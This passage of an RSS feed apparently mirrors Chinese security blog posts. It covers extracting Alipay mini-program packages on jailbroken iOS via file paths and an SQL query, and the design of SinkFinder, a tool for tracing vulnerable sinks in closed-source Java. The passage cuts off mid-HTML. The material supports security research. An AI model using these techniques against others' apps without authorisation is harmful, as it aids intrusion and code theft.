src="https://wechat2rss.xlab.app/img-proxy/?k=4ff8badd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWgo1caeTr6atZAztglibEKSdpsn6HF0libQEjxibxtNdQJFImRReOKribHYlxJOOKMnmG23gicSTq9xt3A%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></figure><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000761" data-ratio="0.6583333333333333" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f3effe48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWgo1caeTr6atZAztglibEKSdzZ85mZsVOBFTv3QYbsjxVIjmbXUpicibun3u06xd1luLHtwW8Ee4L7xQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p><span style="caret-color: rgb(63, 63, 63);color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">后续所有接口重放/漏洞扫描的流量走proxify的代理即可</span></p><h3 style="letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left-width: 3px;border-left-style: solid;border-left-color: rgb(15, 76, 129);color: rgb(63, 63, 63);">0x04 写在后面</h3><ul style="letter-spacing: normal;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 需要大量正则匹配(性能消耗)的工作放到端上做对日站的体验影响非常大,非常难受。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 修别人的bug真难受,需求不复杂的话不如自己造轮子。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 实际上开发/运维领域有很多现成的系统也可以完成该需求，不过对于这样一个小的需求来说，过于臃肿了，规则维护也比较麻烦。</p></li></ul><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a89e4fed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWgo1caeTr6atZAztglibEKSdpsn6HF0libQEjxibxtNdQJFImRReOKribHYlxJOOKMnmG23gicSTq9xt3A%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6eaae006&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWgo1caeTr6atZAztglibEKSdzZ85mZsVOBFTv3QYbsjxVIjmbXUpicibun3u06xd1luLHtwW8Ee4L7xQ%2F640%3Fwx_fmt%3Djpeg"/></p>



<p><a href="2247484418">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c2fe19ae&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5ODE3NTU1OQ%3D%3D%26mid%3D2247484418%26idx%3D1%26sn%3D6c817b22ceb098263582d84d8f9b2298">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 05 Jul 2024 21:56:00 +0800</pubDate>
    </item>
    <item>
      <title>对抗小技巧: IOS环境下支付宝小程序源码的提取</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484418&amp;idx=2&amp;sn=f9b75f7d4868bf2f96a1104e88ca45ad</link>
      <description>IOS环境下支付宝小程序源码的提取</description>
      <content:encoded><![CDATA[<p>
原创 <span>duckbubi</span> <span>2024-07-05 21:56</span> <span style="display: inline-block;">北京</span>
</p>

<p>IOS环境下支付宝小程序源码的提取</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=24f882c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWgo1caeTr6atZAztglibEKSdRsyyozNcIIfFepU4c9EPiaibcEH19j0MWHDwonhhoSvj24YbcwawQ65g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h3 style="letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left-width: 3px;border-left-style: solid;border-left-color: rgb(15, 76, 129);color: rgb(63, 63, 63);">简要说明</h3><ul style="letter-spacing: normal;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 需要有巨魔/越狱环境,以及类似Filza这样的工具。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 和常见的安装包一样，此源码非彼源码，是压缩混淆后产出。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 安卓环境参考：<a href="https://www.52pojie.cn/forum.php?mod=viewthread&amp;tid=1050690" target="_blank">https://www.52pojie.cn/forum.php?mod=viewthread&amp;tid=1050690</a> 是否仍效未经过验证。</p></li></ul><h3 style="letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left-width: 3px;border-left-style: solid;border-left-color: rgb(15, 76, 129);color: rgb(63, 63, 63);">操作方法</h3><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">1.找到支付宝的应用目录，参考Filza的-&gt;收藏夹-&gt;App管理器-&gt;App</p><pre style="letter-spacing: normal;color: rgb(88, 110, 117);background-color: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">/var/mobile/Containers/Data/Application/UUID/</p></pre><div style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">2.小程序的tar实际上可以在应用目录下<p style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background-color: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">./Documents/NAMAPP_UNZIP/</p>找到，但这里的命名全是hash,用完也就无了。</div><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000765" data-ratio="0.8153846153846154" data-s="300,640" style="" data-type="jpeg" data-w="910" src="https://wechat2rss.xlab.app/img-proxy/?k=b91de4c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWgo1caeTr6atZAztglibEKSd1zicQKA2uzE5ZeszLAh9jdsvBibeorGmUc9U716cPbhb9CRLTpNBH0xg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><div style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">3.找到应用目录下的<p style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background-color: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">/Documents/NebulaAppBiz/xriver.db</p>,导入电脑打开或Filza执行sql</div><pre style="letter-spacing: normal;color: rgb(88, 110, 117);background-color: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">SELECT name,package_url FROM &#34;main&#34;.&#34;nebulax_resource_app_table&#34; WHERE name = &#39;小程序名称&#39; </p></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000766" data-ratio="0.27685185185185185" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4e7cc098&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWgo1caeTr6atZAztglibEKSdxMFxm3p35ZW4AS7Mjb9HmHJbdDIJs0HuHIHBJpzGwS6fQiaDfP4NKibQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">本质上就是一个tar，下完解压一下即可。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000767" data-ratio="0.8736842105263158" data-s="300,640" style="" data-type="jpeg" data-w="380" src="https://wechat2rss.xlab.app/img-proxy/?k=c66ea04e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWgo1caeTr6atZAztglibEKSd1w3DVGSOUAhfXzaWuBkOhCmxicRicGyTnaODT1MKnNuljTNFXlxiboS6g%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><h3 style="letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left-width: 3px;border-left-style: solid;border-left-color: rgb(15, 76, 129);color: rgb(63, 63, 63);">写在后面</h3><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">没啥好说的，有需求单没现成的文章供参考，顺手定位一下，顺手分享经验。</p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f811237d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWgo1caeTr6atZAztglibEKSd1zicQKA2uzE5ZeszLAh9jdsvBibeorGmUc9U716cPbhb9CRLTpNBH0xg%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2f0856a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWgo1caeTr6atZAztglibEKSdxMFxm3p35ZW4AS7Mjb9HmHJbdDIJs0HuHIHBJpzGwS6fQiaDfP4NKibQ%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=44317dbf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWgo1caeTr6atZAztglibEKSd1w3DVGSOUAhfXzaWuBkOhCmxicRicGyTnaODT1MKnNuljTNFXlxiboS6g%2F640%3Fwx_fmt%3Djpeg"/></p>



<p><a href="2247484418">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=42aebe11&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5ODE3NTU1OQ%3D%3D%26mid%3D2247484418%26idx%3D2%26sn%3Df9b75f7d4868bf2f96a1104e88ca45ad">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 05 Jul 2024 21:56:00 +0800</pubDate>
    </item>
    <item>
      <title>SinkFinder - 闭源系统半自动漏洞挖掘的尝试</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484406&amp;idx=1&amp;sn=4ebabbc7065f50f5a101437e02b5f55d</link>
      <description>SinkFinder，一个用于实战场景中快速找到 sink 点及上层代码逻辑链路的半自动化漏洞挖掘工具。</description>
      <content:encoded><![CDATA[<p>
原创 <span>medi0cr1ty</span> <span>2024-06-24 00:25</span> <span style="display: inline-block;">中国香港</span>
</p>

<p>SinkFinder，一个用于实战场景中快速找到 sink 点及上层代码逻辑链路的半自动化漏洞挖掘工具。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9699348c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMD6HuiaDcFgYO5WJBFILwAh5DcoBjibLC9ymYYU9ldYwxiaYfe7D4a8ibvqg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div style="font-size: 16px;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 0px 3px;border-color: rgb(143, 182, 249);"><div style="justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 0px;min-width: 5%;height: auto;"><div style="text-align: center;"><p style="background-color: rgb(139, 219, 199);height: 3px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="justify-content: flex-start;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 22px;background-color: rgb(241, 246, 255);"><div style="text-align: justify;color: rgb(101, 128, 175);font-size: 15px;"><p style="margin-bottom: 10px;text-wrap: wrap;">SinkFinder，一个用于实战场景中快速找到 sink 点及上层代码逻辑链路的半自动化漏洞挖掘工具。</p><p style="text-wrap: wrap;">本文主要分享初版的实现思路，后台回复“sinkfinder”即可获取 jar 包，<span style="font-size: 16px;"><strong>欢迎反馈及交流</strong></span>。</p></div></div></div><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;"><div style="display: inline-block;width: 55%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;height: auto;"><div style="text-align: center;"><p style="background-color: rgb(139, 219, 199);height: 3px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div></div></div><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><div style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(101, 128, 175);align-self: center;"><div style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;"><p style="text-wrap: wrap;"><strong>01</strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><div style="font-size: 17px;color: rgb(100, 100, 100);"><p style="text-wrap: wrap;"><strong>工具定位</strong></p></div></div></div><div style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;"><p style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(143, 182, 249) rgb(255, 255, 255) rgb(255, 255, 255) rgb(143, 182, 249);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="font-size: 15px;"><p style="margin-bottom: 6px;text-wrap: wrap;">SinkFinder 专注于根据 Sink 规则找上层调用关系，相较于其他工具明显的优势在于短平快，适合时间紧张场景。</p><p style="margin-bottom: 6px;text-wrap: wrap;">SinkFiner 工具实现思路概括即：</p><p style="margin-bottom: 6px;text-wrap: wrap;">首先递归读取 jar / war / zip 中所有 class 节点数据，通过 ASM API 以深度优先遍历的方式找到 sink 点在项目中所有可能触达的路径，sink 点路径存储在本地文件。</p><p style="text-wrap: wrap;">在实现过程中考虑到效率等因素，可自定义配置文件路径、jar 包、class 黑白名单，以及 sink 规则。</p></div><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><div style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(101, 128, 175);align-self: center;"><div style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;"><p style="text-wrap: wrap;"><strong>02</strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><div style="font-size: 17px;color: rgb(100, 100, 100);"><p style="text-wrap: wrap;"><strong>工具实现</strong></p></div></div></div><div style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;"><p style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(143, 182, 249) rgb(255, 255, 255) rgb(255, 255, 255) rgb(143, 182, 249);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div><p style="text-wrap: wrap;"><strong><span style="font-size: 15px;">自定义规则 rules.json 中配置</span></strong><span style="font-size: 15px;">：</span></p><ul class="list-paddingleft-1" style="padding-left: 40px;list-style-position: outside;"><li><p><span style="font-size: 15px;">递归深度</span></p></li><li><p><span style="font-size: 15px;">黑白名单：目录路径、jar 名、class 类名</span></p></li><li><p><span style="font-size: 15px;">sink 规则配置：&#34;类名:方法名[(参数;)]&#34;</span></p></li></ul></div><div style="line-height: 0;"><p style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100000745" data-ratio="1.2425925925925927" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3e4e95a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMDSfTsDWqPnh9I3LuKdICByQvKApIVTWKCeibX95jJwA3YicGc252KTStA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="font-size: 15px;"><p style="text-wrap: wrap;">同时为了灵活使用，在工具运行时支持参数配置：</p><ul class="list-paddingleft-1" style="padding-left: 40px;list-style-position: outside;"><li><p>-ci、-ji ：class 、jar 的白名单配置</p></li><li><p>-s ：sink 规则自定义，同时为了更精准的匹配，支持添加方法参数，如：</p></li><ul class="list-paddingleft-1" style="list-style-type: square;padding-left: 40px;list-style-position: outside;"><li><p>org.test.SerializationUtils:deserialize(Ljava/io/InputStream;)</p></li></ul><li><p>-scb ：禁用某类别的规则，如：Fastjson</p></li></ul></div><div style="line-height: 0;"><p style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100000746" data-ratio="0.5453703703703704" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6fc55e1a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMDgniaaNzSlzI5FZEFNcb6sGRTHksKUklIQfXasjc4dnPD9QbXiccjfwpg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><div style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(101, 128, 175);align-self: center;"><div style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;"><p style="text-wrap: wrap;"><strong>03</strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><div style="font-size: 17px;color: rgb(100, 100, 100);"><p style="text-wrap: wrap;"><strong>代码实现</strong></p></div></div></div><div style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;"><p style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(143, 182, 249) rgb(255, 255, 255) rgb(255, 255, 255) rgb(143, 182, 249);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="font-size: 15px;"><p style="text-wrap: wrap;">大体实现思路为两步：第一步录入class，第二步通过 sink 找路径。</p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;"><div style="margin: 10px 0%;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><div style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(101, 128, 175);align-self: center;"><div style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;"><p style="text-wrap: wrap;"><strong>3.1</strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><div style="font-size: 17px;color: rgb(100, 100, 100);"><p style="text-wrap: wrap;"><strong>录入</strong></p></div></div></div><div style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;"><p style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(143, 182, 249) rgb(255, 255, 255) rgb(255, 255, 255) rgb(143, 182, 249);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;padding-right: 9px;padding-left: 12px;"><div style="margin-top: 0.5em;margin-bottom: 0.5em;"><p style="background-color: rgb(101, 128, 175);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div><p style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p><p style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;padding-left: 7px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div><div style="font-size: 15px;"><p style="text-wrap: wrap;">首先将项目中所有 java class 文件读入并转为 ClassNode 。</p></div><div style="line-height: 0;"><p style="vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;"><img class="rich_pages wxw-img" data-imgfileid="100000747" data-ratio="0.6416666666666667" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f96da139&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMDXKSRvFP2xOR850iaE9SFtib6ibtKgXumNickibDibZdaNARC6QcH0ZAhn1kA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="font-size: 15px;"><p style="text-wrap: wrap;">这里以 ClassName 为键、ClassInfo 为值存入 ClassRepo 静态属性 classes 中。</p></div><div style="line-height: 0;"><p style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100000748" data-ratio="0.23055555555555557" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=98e6b909&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjx4qOnicaYLoZsmZZaYKFMDEiaukSCyMx3xvNVYaToVPHoMa7BGSicvc81rViaUEbsbFr0y2duSfjcyQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="font-size: 15px;"><p style="text-wrap: wrap;">ClassInfo 中属性包括类节点 ClassNode 、方便找类出处的 jar 包名、以及该类所有子类，方便后期直接查找。</p></div><div style="line-height: 0;"><p style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100000749" data-ratio="0.45092592592592595" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="1080" 